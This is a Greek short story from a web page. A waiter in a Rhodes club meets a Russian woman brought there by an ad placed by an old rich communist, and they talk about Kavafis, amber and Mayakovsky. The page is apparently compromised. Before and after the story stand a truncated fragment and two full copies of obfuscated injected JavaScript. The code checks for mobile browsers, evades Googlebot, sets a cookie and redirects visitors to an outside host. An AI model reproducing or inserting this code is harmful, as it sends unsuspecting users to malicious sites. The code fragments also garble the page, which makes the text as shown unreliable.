)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

“Ζητείται Ρωσίδα 28 -33ετών , ύψος 1,80 + , με μακριά πόδια , να απαγγέλλει από στήθους Μαγιακόφσκι , χωρισμένη με ένα παιδί. Τηλ 6946499779. Επικοινωνία μόνο στα ρωσικά. Δεν γίνονται δεκτά γραφεία προσωπικού και μεσάζοντες. ”

Δεν ξέρω αν θα μπορούσα να σας μιλήσω για τις πολιτικές μου ιδέες. Μέσα στον εκκωφαντικό θόρυβο των διαξιφισμών , των γνωστών πολιτικών σχημάτων θα ακουστούν μόνο σαν ασθενής ψίθυρος. Δεν πιστεύω ούτε στους συντηρητικούς ούτε στους σοσιαλίζοντες . Νομίζω πως η λύση για την πολιτική του σήμερα και του αύριο είναι η “τεχνολογία με ανθρώπινο πρόσωπο”.

Πιστεύω λοιπόν σε ένα μικρό ευέλικτο πολιτικό σχήμα με προσωπικότητες- τεχνοκράτες που με την δυναμική τους και την κομματική τους αλληλοϋποστήριξη, θα καταλαμβάνουν καίριες θέσεις στην κρατική μηχανή, προωθώντας την έννοια του ανθρωποκεντρικού κράτους. Δεν υπάρχει λόγος να έχεις την εξουσία σήμερα. Αυτή είναι παρωχημένη αντίληψη των πολιτικών δεινοσαύρων. Αρκεί να είσαι διορατικός , να παραμένεις σε ετοιμότητα ,να παρεμβαίνεις έγκαιρα και χτυπώντας να σώζεις τη μπίλια αυτού του τεράστιου ελαττωματικού φλίπερ που λέγεται Ελληνικό Κράτος.

Τώρα σας μιλάω από το λιμάνι της Ρόδου. Εδώ περνάω τα καλοκαίρια μου δουλεύοντας γκαρσόνι σε club. Μπαίνω στο μαγαζί το απόγευμα και βλέπω το μπάρμαν να διαβάζει μικρές αγγελίες. “Δεν είμαστε καλά του λέω , μπάρμαν στη Ρόδο και ψάχνεις κορίτσι στα “προσωπικά” των αγγελιών;” σηκώνει τα μάτια και γελάει. “Θέλω να δω τι κορίτσι μπορείς να βρεις από δω” είπα και τότε μου έδειξε την αγγελία με τη “Ρωσίδα” . “Και γιατί με παιδί;” ρώτησα. “Το θέμα δεν είναι το παιδί τώρα. Η Ρωσίδα βρέθηκε και έρχεται από δω σε λίγο” “Εδώ ; Έρχεται εδώ;Μα καλά βάλαμε εμείς τέτοια αγγελία;” με κοίταξε με νόημα και είπε: “ Όχι εμείς , ένας πελάτης” και πριν προλάβω να ζητήσω διευκρινίσεις συνέχισε: “ Είναι γέρος , κομουνιστής και πλούσιος” “Πως ;” “Ήταν με υποτροφία στο πανεπιστήμιο εκείνη τη χρυσή εποχή των κόκκινων. Με τις πολιτιστικές ανταλλαγές φοιτητών πέρασε μερικά χρόνια από τη νιότη του στη Μόσχα. Αν ανοίξει το στόμα του μαγεύεσαι.” “Καλά και το παιδί τι το θέλει;” “Μα για το παιδί μπήκε η αγγελία” “Για το παιδί;” “ Μάλιστα, για το παιδί. Νομίζει πως δεν υπάρχει ελπίδα σ’ αυτόν τον κόσμο. Θέλει να χτίσει μια δυνατή προσωπικότητα, έναν καινούριο Λένιν. Έτσι θα προτιμούσε αγόρι .” “Και είναι αγόρι;” ρώτησα με αγωνία. “Είναι.” “Και δεν τον μεγαλώνει με όλα τα σύγχρονα μέσα και να τον στείλει και σε ξένα πανεπιστήμια για μεταπτυχιακά;” ρώτησα. “Φοβάται πως θα χαθεί μέσα στον ωκεανό της τεχνολογίας. Θέλει να του εμφυσήσει τις βασικές αρχές του Μαρξισμού -Λενινισμού. Διαφορετικά θεωρεί ότι αυτός ο κόσμος δεν έχει ελπίδα.” “Δηλαδή ένας Λένιν με ελληνική ανατροφή;” Ο μπάρμαν συμφώνησε νοερά και κάρφωσε το βλέμμα του στην πόρτα όπου εμφανίστηκε η μητέρα με το παιδί.

Όλα τα παιδιά του club ξεπερνάνε αυτό το πρόβλημα της έκστασης και της παροδικής αφωνίας -όταν βλέπεις ωραία γυναίκα- μέσα στην πρώτη βδομάδα. Είναι τόσο πολλοί οι ξανθοί άγγελοι που έρχονται από τη Σκανδιναβία που συχνά αναρωτιέσαι αν κάποιος τους στέλνει επίτηδες για να τεστάρει την ερωτική μας ετοιμότητα.

Την πλησίασα με το επαγγελματικό μου προσωπείο και τους πρόσφερα θέση να καθίσουν.

Τη βοήθησα με το παιδί . Γύρισα στο μπαρ. “Την συνάντησε χθες…” είπε ο μπάρμαν “…και σήμερα θα την ακούσει να απαγγέλλει Μαγιακόφσκι.” Επέστρεψα να πάρω παραγγελία. Μου μίλησε ελληνικά. “ ‘Ωραία ελληνικά…” σχολίασα. “I like Kavafis” είπε και χαμογέλασε. Με αιφνιδίασε τόσο που συμπλήρωσε “Kavafis ?” άναυδος εγώ. “…Ithaka?” και μου έδειξε προς την ομώνυμη διπλανή ψαροταβέρνα.

Μετά έβγαλε μια μικροσκοπική ποιητική συλλογή από την τσάντα της με υπογραμμισμένες λέξεις στα ποιήματα. “ Η Ιθάκη είναι ένας δρόμος;” ρώτησε. “Ένας μακρύς δρόμος” απάντησα. “Το ταξείδι γιατί το γράφει με “ει” ;” “Είναι κάτι σαν μεσαιωνικά ελληνικά . Το έχω δει και στον Βιζυηνό.” “Βιζυηνό;” ρώτησε. “Ναι. Θα σου προτείνω να διαβάσεις “Το μόνον της ζωής του ταξείδιον” “ είπα και σημείωσα τον τίτλο με “ει” στα τσιγάρα της.

Με κοίταξε με ενδιαφέρον. Μου έδωσε το βιβλίο. Μετακίνησε το χέρι της μέχρι τη λέξη “κεχριμπάρια”. Αααα εδώ είναι ο τομέας μου. Αφήστε με να σας μιλήσω για το κεχριμπάρι.

“ Έχεις δει το Jurassic park?” ρώτησα. “Ναι στο σινεμά.” είπε με απορία. “Θυμάσαι το DNA του δεινοσαύρου που βγήκε από κεχριμπάρι;” “Κλωνοποίηση;” με ρώτησε. Κούνησα καταφατικά και συνέχισα. “Όταν επιμένεις πολύ , κάποτε φτάνεις στο στόχο σου. Αυτή η εμμονή των Αιγυπτίων με την ταρίχευση , με την αθανασία , τα άφθαρτα σώματα , αυτό το πάθος τους για το κεχριμπάρι οδηγούν όλα στο σήμερα και στην κλωνοποίηση. Αν κάποια στιγμή η ανθρωπότητα δεν τα καταφέρει “να αναστήσει” έστω και μία από τις μούμιες , θα είναι μεγάλη προδοσία για ένα λαό που πάσχισε τόσο πολύ να μας προμηθεύσει τα DNA της εποχής του”

Μου χαμογέλασε κάπως ειρωνικά , με κοίταξε πλαγίως με το γαλανό βλέμμα της Τζούλι Κρίστι στο Δόκτορ Ζιβάγκο. “Σκέφτομαι στο μέλλον τους επιστήμονες να πασχίζουν να ταιριάξουν άφθαρτα σώματα σε αμφισβητούμενες ψυχές.” είπα. Δεν της άρεσε το χιούμορ μου. Με τον δείκτη μου έδειξε τα “ηδονικά μυρωδικά”. “Κλείνεις τα μάτια και υπάρχει μόνο το άρωμα. Ολόκληρος ο κόσμος σου γεμίζει από ένα άρωμα. Ένα βήμα πριν την απόλυτη κυριαρχία του οργασμού, εγκαταλείπεις κάθε αντίσταση στην ηδονή του αρώματος.”

Κοίταξε κάπου πίσω από την πλάτη μου και άλλαξε ύφος. Γύρισα. Ο Κομουνιστής με χειροκρότησε. “Ωραίο μάθημα, συγχαρητήρια” μου είπε και μου έδωσε το χέρι του. “Εδώ δουλεύεις;” “Μόνο τα καλοκαίρια.” Απάντησα. “Τι ξένες γλώσσες μιλάς;” “Αγγλικά και Σουηδικά”

“Θα σε χρειαστώ” είπε. Έδειξα να συμφωνώ. Ζήτησε να του πάμε μία βότκα “Μπελούγκα” και για λίγη ώρα να μη τον διακόψουμε στο “μάθημα” .

Το απόγευμα στις 14 Απριλίου, 1930, ο Μαγιακόφσκι αυτοπυροβολήθηκε. Απόσπασμα από το ημιτελές ποίημα της αυτοκτονίας του :

Το καράβι της αγάπης συνετρίβη πάνω στην καθημερινή ρουτίνα.

                                                                                                                                                             akaras1979@yahoo.gr

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}